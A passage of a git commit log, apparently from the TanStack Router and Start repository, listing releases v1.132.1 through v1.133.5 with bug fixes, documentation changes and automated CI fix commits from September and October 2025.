* comparison page via config
2025-10-17 07:43:44 -06:00
Manuel Schiller
be6c094db9
fix: relax content type header check (#5502) 2025-10-16 23:59:54 +02:00
Tanner Linsley
2f2a009e91 release: v1.133.5 2025-10-16 21:37:07 +00:00
Manuel Schiller
ad66e89998
fix: undefined / null serialization (#5501) 2025-10-16 23:35:31 +02:00
Nico Lynzaad
60ff0e4c83
docs(beforeLoad & notFoundComponents): Add note regarding notFound error thrown from beforeLoad function (#5500)
* add note to docs

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-10-16 22:27:09 +02:00
Tanner Linsley
163b75e384 release: v1.133.4 2025-10-16 18:27:24 +00:00
Nico Lynzaad
afaecfc3e5
fix(router-generator): remove trailing slash from pathless route group paths (#5491) 2025-10-16 20:25:48 +02:00
Sarah
5c408cccf9
docs: fix router commands in quick-start (#5499)
* fix router commands in quick-start

* rm ref to @tanstack/router
2025-10-16 19:55:01 +02:00
Aaron Jordan
4303a8a716
Correct NextJS link URL (#5488)
* correct nextjs link url

* add link for quick-start
2025-10-15 20:25:38 +02:00
Tanner Linsley
065ad28f5c release: v1.133.3 2025-10-15 15:55:17 +00:00
Birk Skyum
88158534a4 fix: RELEASE_ALL
RELEASE_ALL
2025-10-15 17:48:19 +02:00
Birk Skyum
7cb4a7e100 RELEASE_ALL 2025-10-15 17:32:00 +02:00
Birk Skyum
66b75cc489 fix: force release 2025-10-15 15:44:48 +02:00
Tanner Linsley
975e32ffa3 release: v1.133.2 2025-10-14 21:59:03 +00:00
Manuel Schiller
8dd0cc5220
fix: parent param types in server routes (#5482) 2025-10-14 23:56:56 +02:00
Sarah
ff56ee5cfe
LLM Script Fixes (#5483) 2025-10-14 23:56:44 +02:00
Kellen Proctor
6cc67e57a4
docs: Update path-params.md (#5481) 2025-10-14 22:03:05 +02:00
Taha Boulehmi
4062d45d4e
docs: Fixing the log of Middleware Execution Order (#5463) 2025-10-14 21:21:19 +02:00
Sarah
294b82aade
docs: add in llm support page (#5479)
* llm-rules page

* remove duplicated word
2025-10-14 20:31:23 +02:00
Ben McCann
84a4b247fa
fix(router-devtools-core): actually bundle solid (#5422)
* fix(router-devtools-core): actually bundle solid

* remove // @ts-expect-error

* Fix lockfile

---------

Co-authored-by: Birk Skyum <birk.skyum@pm.me>
Co-authored-by: Lachlan Collins <1667261+lachlancollins@users.noreply.github.com>
2025-10-14 17:07:52 +02:00
Lachlan Collins
0bdb0ee4ec
chore: bump @tanstack/config to v0.22.0 (#5474)
* chore: bump @tanstack/config to v0.22.0

* Fixes
2025-10-14 22:36:38 +11:00
Tanner Linsley
954f479fbe release: v1.133.1 2025-10-14 04:03:33 +00:00
Lachlan Heywood
82f711b391
refactor: export devtools options type (#5435) 2025-10-14 16:57:50 +13:00
Tanner Linsley
5436818ed5 release: v1.133.0 2025-10-13 21:12:33 +00:00
Nicolas Beaussart
c4d3bde7d0
feat(devtools-core): add history tab (#5410) 2025-10-14 10:06:53 +13:00
philip
80a9f3dcdf
docs(config): fix misleading link (#5456)
fix misleading link
2025-10-13 18:39:56 +02:00
Sarah
a7f3c78248
docs: Tutorial Section (#5465)
add tutorial section
2025-10-13 18:39:30 +02:00
Tanner Linsley
fd604a8873 release: v1.132.56 2025-10-12 23:40:12 +00:00
Manuel Schiller
5022a60d2e
fix: only transform files in codesplitter if changes were made (#5460) 2025-10-13 01:32:01 +02:00
Tanner Linsley
9eb000a408 release: v1.132.55 2025-10-12 23:28:20 +00:00
Manuel Schiller
8066a5914f
fix: remove headers from client route (#5459) 2025-10-13 01:24:37 +02:00
Tanner Linsley
de825dd94f release: v1.132.54 2025-10-12 21:37:00 +00:00
Manuel Schiller
44bcbd928d
fix: ignore whitespace when detecting handler and createMiddleware calls (#5458) 2025-10-12 23:30:48 +02:00
Manuel Schiller
cdd8e91c48
fix: server function context types inheritance (#5457) 2025-10-12 23:30:22 +02:00
Nathaniel John Tampus
287a7e18c0
docs(start): update nitro v3 instructions for nitro alpha package (#5453) 2025-10-12 10:18:05 +02:00
Tanner Linsley
c2a5162f83 release: v1.132.53 2025-10-12 05:56:06 +00:00
Manuel Schiller
3c6e34b4b5
fix: compile directive replacements (#5450) 2025-10-12 07:54:30 +02:00
Sarah
c62883e527
docs: Remove broken section (#5448) 2025-10-11 22:08:25 +02:00
Sarah
54a9d2b091
docs: Move files to Guides section (#5441)
* update page refs

* update newly broken links
2025-10-11 17:53:56 +02:00
Sarah
faa8c71c32
docs: Update Some Router Docs (#5443)
* installation section

* quick-start

* update manual setup

* fixed some links

* fix links

* Update docs/router/framework/react/faq.md

Co-authored-by: coderabbitai[bot] <136622811+coderabbitai[bot]@users.noreply.github.com>

---------

Co-authored-by: coderabbitai[bot] <136622811+coderabbitai[bot]@users.noreply.github.com>
2025-10-11 17:53:38 +02:00
Tanner Linsley
0324517d9c release: v1.132.52 2025-10-10 19:09:28 +00:00
Wei Wang
d3cbb23a36
fix(start-plugin-core): Remove framework specific packages from being required (#5409)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-10-10 21:02:42 +02:00
Nico Lynzaad
51da7fb842
Docs(Relative Navigation): add extra context around the from location (#5424)
* add extra context

* ci: apply automated fixes

* add code rabbit suggestion

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-10-09 23:06:59 +02:00
Nico Lynzaad
4f288bfdfe
Docs(Router-SSR): Resolve typos (#5425)
resolve typos
2025-10-09 23:05:22 +02:00
Tanner Linsley
30970808c5 release: v1.132.51 2025-10-08 19:12:01 +00:00
Ben McCann
6de342b38d
chore: switch to tinyglobby (#5395) 2025-10-08 21:02:48 +02:00
Wei Wang
e0729b6cfd
fix(start-plugin-core): Properly declare start-client-core in dependencies (#5408) 2025-10-08 21:02:40 +02:00
fuko
09ddae9788
docs: Move the streaming docs to the "Getting started" section, because TanStack Start doesn't have a "Guides" section yet (#5399)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-10-08 21:02:32 +02:00
Ben McCann
f90b90c814
fix(router-devtools-core): bundle solid for smaller package (#5406) 2025-10-08 21:02:22 +02:00
Cameron Pak
5e33b74f42
Docs: Updating Vite plugin usage for Tanstack Start (#5405) 2025-10-08 21:01:42 +02:00
Tanner Linsley
e0c63d47b4 release: v1.132.50 2025-10-08 00:27:28 +00:00
Birk Skyum
c7a9ced534
Fix(router-devtools-core): Reverts #5374 (#5403)
* fix(router-devtools-core): add solid-js to deps

* lockfile
2025-10-08 02:25:47 +02:00
Tanner Linsley
a5fdf290cb release: v1.132.49 2025-10-06 23:50:07 +00:00
Edmo Lima
e974ee516d
fix(solid-router): make useLoaderDeps return Accessor for reactivity (#5348) 2025-10-07 01:42:53 +02:00
autofix-ci[bot]
a7db57cf42
ci: apply automated fixes 2025-10-06 22:43:45 +00:00
Manuel Schiller
cb63866d15 docs: remove usage of setResponse... utilities for server routes
these utilities are not to be used  when returning a `Response` which is the case in server routes

closes #5377
2025-10-07 00:42:34 +02:00
Tanner Linsley
bbf100822a release: v1.132.48 2025-10-06 22:38:33 +00:00
Manuel Schiller
776d3d5c09
fix: pass in request when requestMiddleware is used in combination wi… (#5390) 2025-10-07 00:31:07 +02:00
Tanner Linsley
8d3478c07d release: v1.132.47 2025-10-06 21:20:38 +00:00
Manuel Schiller
2db746c4fc
fix: navigate() respects rewrites when reloadDocument=true (#5389) 2025-10-06 23:18:59 +02:00
fuko
42500ce889
examples: Add a new TanStack Start example for typed readable streams (#5363)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-10-06 23:13:40 +02:00
Tanner Linsley
b9f231343f release: v1.132.46 2025-10-06 20:33:13 +00:00
Ryan Gillie
9d38c38e67
fix: fix Rest Parameters of react-router-ssr-query (#5379) 2025-10-06 22:21:25 +02:00
Manuel Schiller
99d3fd0453 docs: add experimental note 2025-10-06 22:18:31 +02:00
Tanner Linsley
5fa9b91042 release: v1.132.45 2025-10-06 20:14:11 +00:00
Manuel Schiller
020e96b95f
fix: add TsrSerializable (#5387) 2025-10-06 22:12:24 +02:00
Manuel Schiller
e8052ce952 docs: server entry point 2025-10-06 20:19:01 +02:00
Tanner Linsley
6b9b8f63de release: v1.132.44 2025-10-06 18:14:54 +00:00
Ben McCann
d345c1acdf
fix(router-devtools-core): bundle solid for smaller package (#5374)
fix: bundle solid for smaller package
2025-10-06 20:07:29 +02:00
Tanner Linsley
84fdb44e5f release: v1.132.43 2025-10-05 21:54:40 +00:00
Lenz Weber-Tronic
1d718513f9
fix: merge serializationAdapters from createStart getOptions and router.options (#5321)
* feat: merge `serializationAdapters` from `createStart` `getOptions` and `router.options`

* fix lint

---------

Co-authored-by: Manuel Schiller <manuel.schiller@caligano.de>
2025-10-05 23:46:31 +02:00
Tanner Linsley
cf48427035 release: v1.132.42 2025-10-05 21:43:07 +00:00
zenios
3c0c9cc167
fix: Add support for customizable functionId generation. (#5373)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-10-05 23:36:15 +02:00
Tanner Linsley
9416ebafa1 release: v1.132.41 2025-10-05 21:14:10 +00:00
JiSeong Park
b65853e5f0
fix(router-core): fix typing of search in remountDeps (#5362) 2025-10-05 23:06:57 +02:00
Tanner Linsley
dd3262034e release: v1.132.40 2025-10-05 20:30:24 +00:00
Manuel Schiller
00b3595846
fix: revert alias handling for nitro-v2-vite-plugin (#5378) 2025-10-05 22:28:36 +02:00
Manuel Schiller
e94e9c7321 docs: remove apiBase
closes #5369
2025-10-05 15:50:06 +02:00
Tanner Linsley
daee894945 release: v1.132.39 2025-10-05 13:48:19 +00:00
Manuel Schiller
59bb0afba8 fix: fix nitro-v2-plugin 2025-10-05 15:41:58 +02:00
Tanner Linsley
915a37c1f4 release: v1.132.38 2025-10-05 13:29:35 +00:00
Manuel Schiller
4d0e3cc509
fix: use h3 alias only in nitro-v2-plugin (#5370) 2025-10-05 15:27:57 +02:00
Manuel Schiller
dc320144a5 docs: update middleware 2025-10-04 23:16:36 +02:00
Tanner Linsley
fb8281a732 release: v1.132.37 2025-10-04 20:41:55 +00:00
Manuel Schiller
271e1aa52c
fix: types for async generators (#5366) 2025-10-04 22:33:16 +02:00
Brenley Dueck
0d3bba8978
update solid start docs (#5347)
* update solid start docs

* rename app.config.ts
2025-10-04 12:14:13 -05:00
Tanner Linsley
5fd612dc47 release: v1.132.36 2025-10-04 05:35:02 +00:00
Manuel Schiller
2ba566585d
fix: remove test type (#5358)
* fix: remove test type

* simplify start-basic
2025-10-04 07:33:15 +02:00
Tanner Linsley
b826734e03 release: v1.132.35 2025-10-03 19:56:31 +00:00
Fllavian
4939984f69
fix: re-add SessionConfig export (#5355) 2025-10-03 21:50:09 +02:00
James Opstad
9cf97c1c1a
docs: Update Cloudflare hosting guide (#5357) 2025-10-03 21:45:56 +02:00
Tanner Linsley
5f8d539799 release: v1.132.34 2025-10-03 13:19:58 +00:00
Manuel Schiller
11ded1ac60 fix: remove unused config 2025-10-03 15:04:39 +02:00
Tanner Linsley
97aa07e965 release: v1.132.33 2025-10-03 13:01:35 +00:00
Manuel Schiller
ceae3d5f85
fix: basepath (#5345) 2025-10-03 14:59:43 +02:00
Júlio Mühlbauer
ac35dd2382
examples: fix paraglide start example (#5344)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-10-02 23:44:16 +02:00
John Ferlito
cc52bd792e
docs(start): fix import path for useSession in authentication.md (#5318) 2025-10-03 08:18:08 +13:00
Tanner Linsley
0a34f0c718 release: v1.132.32 2025-10-02 18:51:24 +00:00
Manuel Schiller
7c041697f1
fix: remove JsonResponse from server function response (#5341) 2025-10-02 20:49:35 +02:00
Nico Lynzaad
4b0004cfbb
test(e2e-Utils): export built package from e2eUtils (#5336)
* add build step and update exports

* address flaky test

* export types

* ci: apply automated fixes

* use vite for building

* ci: apply automated fixes

* code rabbit issues

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-10-02 03:22:34 +02:00
Magnus May
f11c4c6055
docs: fix Bun server environment variable names and improve clarity (#5334)
Co-authored-by: Claude <noreply@anthropic.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-10-01 23:29:38 +02:00
Tanner Linsley
6152c6eed1 release: v1.132.31 2025-10-01 20:59:42 +00:00
Manuel Schiller
a7a25f570f
fix: return Headers instead of object (#5333) 2025-10-01 22:37:41 +02:00
Manuel Schiller
f943abc031
fix: unset extends of serialization adapters after deduping (#5316) 2025-10-01 20:47:34 +02:00
Tanner Linsley
6d46aaff10 release: v1.132.29 2025-10-01 18:45:22 +00:00
Manuel Schiller
a2da3f2b33
fix: correctly handle client-side vs server-side redirects with rewrites (#5330)
fixes #5324
2025-10-01 20:39:00 +02:00
Tanner Linsley
ac1fadc400 release: v1.132.28 2025-10-01 18:34:47 +00:00
autofix-ci[bot]
f56e40e72a
ci: apply automated fixes 2025-10-01 18:26:51 +00:00
Manuel Schiller
a9ceb7de1b
fix: prevent HMR to throw error about entrypoints (#5317) 2025-10-01 20:25:46 +02:00
Alem Tuzlak
26d9f17287
docs: update migration docs for next/image (#5326) 2025-10-01 20:25:28 +02:00
Tanner Linsley
af388a89f7 release: v1.132.27 2025-09-30 22:05:17 +00:00
Manuel Schiller
5269bd863f
fix: raw response handling (#5276) 2025-10-01 00:02:26 +02:00
Thenglong Heng
bb410f8d16
fix(router): rewriteBasepath not working without trailing slash (#5244)
Co-authored-by: Manuel Schiller <manuel.schiller@caligano.de>
2025-09-30 23:01:11 +02:00
autofix-ci[bot]
ae5119d75b
ci: apply automated fixes 2025-09-30 20:49:03 +00:00
TinsFox
c29938b4b9
docs: Update hosting.md (#5252)
* Update hosting.md

* Update hosting.md

* Update hosting.md
2025-09-30 22:48:14 +02:00
Tanner Linsley
fcf88d025a release: v1.132.26 2025-09-30 18:50:17 +00:00
Manuel Schiller
545ff3fbc3
fix: allow to express dependencies between serialization adapters (#5314) 2025-09-30 20:42:57 +02:00
Manuel Schiller
1ca59e3aa0
fix: redirect respects rewrites (#5315)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-09-30 20:41:43 +02:00
Shinya Fujino
2d453a2aab
docs: Add @types/node to build-from-scratch guide (#5308) 2025-09-30 20:29:53 +02:00
Birk Skyum
581941a86a
tests(solid-router): Enable e2e scroll restoration test (#5298)
* enabled solid-rotuer e2e scroll restoration test

* fix solid-router e2e scroll restoration test
2025-09-29 22:34:03 +02:00
Tanner Linsley
f382bd2ef0 release: v1.132.25 2025-09-29 19:38:37 +00:00
Lee
e52673bb03
fix(router): hash history links with target="_blank" generate incorrect URLs (#5242) 2025-09-29 21:29:54 +02:00
Oliver Wheeler
31e5b9c377
docs: Change "target" to "preset" in Nitro example config (#5290) 2025-09-29 21:27:53 +02:00
Tanner Linsley
3bf18a7432 release: v1.132.24 2025-09-28 23:57:51 +00:00
Manuel Schiller
de70ba95e6
fix: guard against invalid origin header value (#5288) 2025-09-29 01:49:53 +02:00
Tanner Linsley
ef7318fdd4 release: v1.132.23 2025-09-28 23:25:38 +00:00
Manuel Schiller
a255e9db46
fix: nonce support (#5287) 2025-09-29 01:23:59 +02:00
Adam Rackis
7a129f7f0b
docs: quickstart (#5286) 2025-09-29 00:40:55 +02:00
Tim Bellefleur
2817a0c39c
examples: fix Bun server static routes from using the wrong path separator on Windows (#5285)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-09-29 00:17:02 +02:00
Nico Lynzaad
58e8a940e1
tests(start): update spa mode e2e to use production build (#5284)
* make use of prod setup for spa-mode e2e test

* ci: apply automated fixes

* nitpick

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-09-28 23:48:36 +02:00
Tanner Linsley
08caf67819 release: v1.132.22 2025-09-28 21:40:11 +00:00
Manuel Schiller
a5ad0fe0a7 fix: load all env vars, do not restrict to VITE_ prefix
fixes #5217
2025-09-28 23:33:52 +02:00
Manuel Schiller
d363dca461 docs: fix hosting 2025-09-28 23:12:40 +02:00
Anindra
5b070468e3
docs: Update wrong link (#5282) 2025-09-28 22:32:36 +02:00
Tanner Linsley
1959f8968a release: v1.132.21 2025-09-28 19:06:19 +00:00
Manuel Schiller
785afe3aee fix: exclude some more files from compilation 2025-09-28 20:57:19 +02:00
Mo
04af815de8
docs: react-router added API middlewares (#5280) 2025-09-28 20:55:25 +02:00
Manuel Schiller
3a76b3ca08
fix: use package alias for h3 (#5281) 2025-09-28 20:54:11 +02:00
Tanner Linsley
86b1dd9dac release: v1.132.19 2025-09-28 10:44:30 +00:00
Manuel Schiller
7d876bc31f
fix: register createServerFn fetcher as serializable (#5268)
* fix: createServerFn fetcher has TSS_SERVER_FUNCTION symbol prop

* add serializer extension, register server functions to be serializable

* remove cast
2025-09-28 12:36:00 +02:00
kkane
985f8c61ef
docs: fix Validation with Zod documentation (#5269)
Co-authored-by: kanekv <kane.kim@joylabs.com>
2025-09-28 12:01:02 +02:00
Mattèo Gauthier
b19e0b9c71
docs: wrong link to bun server implementation in hosting page (#5272)
Update link to server.ts in hosting.md
2025-09-28 12:00:10 +02:00
Tanner Linsley
b4e370ecd9 release: v1.132.18 2025-09-27 23:40:33 +00:00
Manuel Schiller
478d283d3a
fix: handle synchronous handler/middleware (#5270) 2025-09-28 01:32:02 +02:00
Tanner Linsley
07a123da7a release: v1.132.17 2025-09-27 22:25:32 +00:00
Nico Lynzaad
16eacb3d68
fix(router-core): consider __root__ in path parsing of trailing underscores (#5262)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-09-28 00:07:31 +02:00
Tanner Linsley
7af7c529af release: v1.132.16 2025-09-27 21:23:38 +00:00
zenios
6194a783a2
fix: Reexport missing request middleware types (#5267) 2025-09-27 23:16:13 +02:00
Tanner Linsley
b7e255f16e release: v1.132.15 2025-09-27 19:33:43 +00:00
Manuel Schiller
1776259824 fix: types for server function with inputValidator and request middleware
fixes #5264
2025-09-27 21:26:34 +02:00
Tanner Linsley
dcd86c7fc5 release: v1.132.14 2025-09-27 19:09:42 +00:00
Manuel Schiller
6cfe2fd925 fix: correctly resolve routes dir and routeTree path w.r.t. root 2025-09-27 21:02:09 +02:00
Júlio Mühlbauer
fa6e7d3d78
docs: add paraglide examples (#5257)
Co-authored-by: Manuel Schiller <manuel.schiller@caligano.de>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-09-27 16:12:38 +02:00
Tanner Linsley
d50f2dd0cc release: v1.132.13 2025-09-27 00:09:51 +00:00
autofix-ci[bot]
9831e54675
ci: apply automated fixes 2025-09-27 00:04:45 +00:00
Manuel Schiller
3500dde867 fix: add missing export 2025-09-27 02:03:37 +02:00
Manuel Schiller
53493af536 fix: move createServerRpc into separate package export
this avoids circular imports
2025-09-27 01:54:24 +02:00
Tanner Linsley
37391e803b release: v1.132.12 2025-09-26 23:45:22 +00:00
Manuel Schiller
84537b714a fix: circular imports
before this happened:

```
vite:hmr circular imports detected: /src/routes/posts.route.tsx -> /src/utils/posts.tsx -> /node_modules/@tanstack/react-start/dist/esm/client.js?v=0794880d -> /node_modules/@tanstack/react-start-client/dist/esm/index.js?v=0794880d -> /node_modules/@tanstack/start-client-core/dist/esm/client/index.js?v=0794880d -> /node_modules/@tanstack/start-client-core/dist/esm/client/hydrateStart.js?v=0794880d -> /src/router.tsx -> /src/routeTree.gen.ts -> /src/routes/posts.route.tsx
```

the transform of `createServerFn` imported `createClientRpc` from `@tanstack/react-start/client` which also export `hydrateStart` in index.ts

moving `createClientRpc` into its own package export resolved this issue
2025-09-27 01:36:21 +02:00
Tanner Linsley
56f6f8df65 release: v1.132.11 2025-09-26 23:21:30 +00:00
Manuel Schiller
87875da6b2 fix: server function types with request middleware installed
fixes #5238
2025-09-27 01:15:18 +02:00
Magnus May
2ff5bc20f7
docs: add Bun production server guide for TanStack Start (#5237)
Co-authored-by: Claude <noreply@anthropic.com>
Co-authored-by: Manuel Schiller <manuel.schiller@caligano.de>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-09-27 01:01:49 +02:00
James Opstad
eca3a55745
tests: Add basic Cloudflare E2E tests (#5260)
Co-authored-by: Manuel Schiller <manuel.schiller@caligano.de>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-09-26 23:06:21 +02:00
James Opstad
4d40d95c37
examples: Add start-basic-cloudflare example (#5254)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-09-26 22:07:02 +02:00
Tanner Linsley
e55b436969 release: v1.132.10 2025-09-26 19:08:05 +00:00
Paweł Błaszczyk
e46ba71cb9
fix: add StartInstance re-export which is used as a return type from createStart (#5259)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-09-26 21:02:21 +02:00
Taegeon Alan Go
67dd66e77f
docs: nitro v3 plugin link in the hosting docs (#5253)
The nitro v3 plugin link is incorrect, fix with correct one

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Documentation**
* Updated Vercel deployment guide to reference the correct Nitro v3 Vite
plugin (now nitro-nightly), keeping the BETA status note.
* Clarifies deployment steps for React users relying on Nitro v3,
reducing confusion from outdated plugin naming.
* Ensures alignment with current tooling to improve setup reliability
and developer confidence.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-26 20:38:59 +02:00
Tanner Linsley
0babe5d805 release: v1.132.9 2025-09-26 03:57:47 +00:00
Manuel Schiller
159c8c182e docs: fix hosting 2025-09-26 05:55:35 +02:00
James Opstad
716cc05c7b
fix: Add optimizeDeps.entries for client and ssr environments (#5223)
Co-authored-by: Manuel Schiller <manuel.schiller@caligano.de>
2025-09-26 05:52:14 +02:00
autofix-ci[bot]
d56f7dba53
ci: apply automated fixes 2025-09-26 03:50:01 +00:00
mattfysh-ai
bb6e2e31fe
docs: Fix cloudflare config (#5225) 2025-09-26 05:48:50 +02:00
Tanner Linsley
2e7cb7ffa8 release: v1.132.8 2025-09-26 03:33:53 +00:00
Manuel Schiller
f9bf3363d8
fix: compile createMiddleware using start-compiler-plugin (#5245) 2025-09-26 05:32:15 +02:00
Fabien Kovacic
7771c00db2
docs(router): typo fix installation-with-router-cli.md (#5158)
small typo

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Documentation**
* Corrected a typo in the Router CLI installation guide by removing a
duplicated word (“your”) in the scripts section. Improves clarity and
professionalism of the instructions. No functional impact or behavior
changes. No configuration updates required; users don’t need to take any
action beyond reading the updated doc. Purely editorial change.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: Nico Lynzaad <44094871+nlynzaad@users.noreply.github.com>
2025-09-26 00:47:24 +02:00
Alex Godfrey
903b17b197
Docs(Start): Update environment-functions.md with correct function names (#5236)
Since the RC, serverOnly and clientOnly no longer exist, and we use
createServerOnlyFn and createClientOnlyFn. I updated the docs to reflect
that.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- New Features
- Introduced createServerOnlyFn and createClientOnlyFn helpers for
environment-bound execution.

- Documentation
- Updated guides, examples, import examples, error messages, and
tree-shaking notes to use the new helper names.

- Refactor
- Renamed public environment helpers (serverOnly → createServerOnlyFn,
clientOnly → createClientOnlyFn) and removed the old exports from the
public API.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: Nico Lynzaad <44094871+nlynzaad@users.noreply.github.com>
2025-09-26 00:34:58 +02:00
Jakob Norlin
e216127677
docs: update build-from-scratch replacements for SolidJS (#5216)
The docs make references to react in a lot of places. I updated the ones
I could find in the build-from-scratch guide to use proper solid-js
package names and other references.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- **Documentation**
- Expanded "build from scratch" guide for migrating from React to
SolidJS.
- Added comprehensive mapping of React libraries, tooling, and plugins
to Solid equivalents.
- Documents alternative React tooling options and Solid-compatible
plugin recommendations.
- Clarifies updating JSX runtime and project configuration for SolidJS.
- Describes import/usage changes and fragment/JSX differences needed for
Solid.
  - Notes removal of React-specific type artifacts during migration.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: coderabbitai[bot] <136622811+coderabbitai[bot]@users.noreply.github.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Nico Lynzaad <44094871+nlynzaad@users.noreply.github.com>
Co-authored-by: Nico Lynzaad <nlynzaad@zylangroup.com>
2025-09-26 00:31:48 +02:00
MHeinonen
ed7004b43e
docs: fix router.tsx filename in snippet (#5218) 2025-09-25 20:31:01 +02:00
Rafał Goławski
5fc1ede8be
docs(server-functions): fix unclosed markdown code block (#5226)
This fixes an unclosed Markdown code block in the `server-functions`
documentation page. Without the closing fence, the rest of the page
renders incorrectly.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Documentation**
* Standardized code block formatting in the React Server Functions guide
by replacing four-backtick fences with standard triple backticks for
TypeScript snippets.
* Improves readability, syntax highlighting, and consistency across
examples, including route loading and basic parameter sections.
  * No changes to behavior, APIs, or functionality.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: Nico Lynzaad <44094871+nlynzaad@users.noreply.github.com>
2025-09-25 18:30:31 +02:00
Tanner Linsley
8219466eee release: v1.132.7 2025-09-25 15:30:09 +00:00
Manuel Schiller
e6ef21809c
fix: opt into SSR type level serializability check (#5233)
default `false` was not working for plain router

fixes #5222
2025-09-25 17:28:40 +02:00
Tanner Linsley
86aa74e345 release: v1.132.6 2025-09-25 03:01:51 +00:00
Brooke Holmes
98a02d77b6
fix(router-core): avoid infinite serializer recursion for arrays (#5199)
Fixes some issues I was having with https://conform.guide (also fixes
https://github.com/TanStack/router/issues/4533)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Compile-time serialization validation now recognizes readonly arrays
and tuples for inputs and results, preserving tuple shapes and improving
type inference and editor experience; no runtime changes.

* **Tests**
* Added type-level tests covering recursive, nested, readonly array and
tuple scenarios to verify compile-time validation and type propagation.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-25 04:55:33 +02:00
Tanner Linsley
49e5fad4ea release: v1.132.5 2025-09-24 20:41:09 +00:00
Manuel Schiller
5c6eed67ce fix: exclude start and router from optimizeDeps for solid as well 2025-09-24 22:33:11 +02:00
Tanner Linsley
9d3bbbd812 release: v1.132.4 2025-09-24 20:24:21 +00:00
Manuel Schiller
c7213749df fix: export fake startInstance 2025-09-24 22:18:27 +02:00
Christoffer Bjelke
4f62cfaf1e
docs(Start): Revise migration guide for TanStack Start (#5211)
Update installation instructions and routing configurations for TanStack
Start.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Documentation**
* Updated React migration guide from Next.js with current routing
conventions and defaults.
* Adjusted installation guidance to reflect updated tooling and plugin
placement.
* Clarified new project layout defaults (explicit src directory and
routes location).
  * Renamed and simplified example entry file and setup steps.
* Refreshed examples to use the new routing, link and server-function
patterns for parity with Next.js App Router.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-24 22:03:44 +02:00
Tanner Linsley
956d5f27e0 release: v1.132.3 2025-09-24 19:45:30 +00:00
Manuel Schiller
e4d5671ba9
fix: various fixes (#5215)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-09-24 21:42:56 +02:00
Nico Lynzaad
06839407b9
Docs(Start): remove target from hosting docs (#5204)
This removes reference to the target property from the hosting docs as
this is now defined through vite plugins
2025-09-24 10:42:11 +02:00
Nico Lynzaad
065722ab29
docs(start): fix broken links (#5197)
corrects broken links in the start docs

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Documentation**
* Updated numerous cross‑reference links across React start guides
(authentication, execution model, server functions, environment
variables, middleware, router guides, migration) to point to correct
locations.
* Hosting guide: added a Netlify section with setup example; updated
Cloudflare Workers and Railway/Node.js anchors for clarity.
  * Authentication docs: minor formatting tweaks.
  * Server routes: removed merge conflict markers and cleaned content.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-09-24 03:18:36 +02:00
Tanner Linsley
c2f732d30f release: v1.132.2 2025-09-23 22:38:18 +00:00
Manuel Schiller
bd5557613a
fix: deps (#5195) 2025-09-24 00:33:48 +02:00
John Colvin
0aa36667e5
Fix typo in error message for server rendering (#5161) 2025-09-24 00:28:41 +02:00
Manuel Schiller
70d2989546 docs: update to RC 2025-09-24 00:16:51 +02:00
Sarah
0c069fb66f
docs: Fix README images (#5162)
Co-authored-by: coderabbitai[bot] <136622811+coderabbitai[bot]@users.noreply.github.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-09-23 23:42:59 +02:00
Tanner Linsley
f5ac86a045 release: v1.132.1 2025-09-23 21:40:21 +00:00
autofix-ci[bot]
ba84c91df5
ci: apply automated fixes 2025-09-23 21:34:36 +00:00
Manuel Schiller
6f87bc8dcd fix: correctly handle undefined serializationAdapters 2025-09-23 23:33:12 +02:00
